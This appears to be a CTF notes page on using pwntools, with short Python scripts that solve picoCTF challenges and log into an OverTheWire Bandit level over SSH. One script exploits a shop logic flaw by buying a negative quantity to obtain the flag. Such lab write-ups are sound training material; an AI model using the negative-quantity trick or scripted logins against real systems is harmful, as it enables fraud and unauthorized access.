> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/connect-to-machines/pwntools.md).

# pwntools

**pwntools** is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

## Standard connection

Connect, receive data and get the flag from the data

```python
#!/usr/bin/env python

from pwn import *

SERVER = 'mercury.picoctf.net'
PORT = 22902

io = remote(SERVER, PORT)    
numbers = io.recvallS()
num_str_array = numbers.split('\n')[:-1]
int_array = map(lambda x: int(x.strip()), num_str_array)
char_array = map(chr, int_array)
print(''.join(char_array))
io.close()
```

Connect, send and receive data, and get the flag

```python
#!/usr/bin/env python

from pwn import *

SERVER = 'mercury.picoctf.net'
PORT = 42159

# Set output level (critical, error, warning, info (default), debug)
context.log_level = "warning"

io = remote(SERVER, PORT)
# Buy -10 Quiet Quiches
io.sendlineafter(b"Choose an option: \n", b"0")
io.sendlineafter(b"How many do you want to buy?\n", b"-10")
# Buy the flag
io.sendlineafter(b"Choose an option: \n", b"2")
io.sendlineafter(b"How many do you want to buy?\n", b"1")
# Retreive the encoded flag
num_array = io.recvallS().split('[')[1][:-2].split()
# Convert to plain text flag
int_array = map(int, num_array)
print(''.join(map(chr,int_array)))
io.close()
```

## Connect with SSH

Connect with SSH, run a command and get the result

```python
#!/usr/bin/env python

from pwn import *

SERVER = 'bandit.labs.overthewire.org'
PORT = 2220
USER = 'bandit1'
PASSWORD = 'Z<REDACTED>f'

# Set output level (critical, error, warning, info (default), debug)
context.log_level = "info"

io = ssh(user=USER, host=SERVER, port=PORT, password=PASSWORD)

sh = io.system('cat ./-')
print("Password is: %s" % sh.recvallS())

io.close()
```

## Resources

**pwntools** - Documentation: <https://docs.pwntools.com/en/stable/index.html>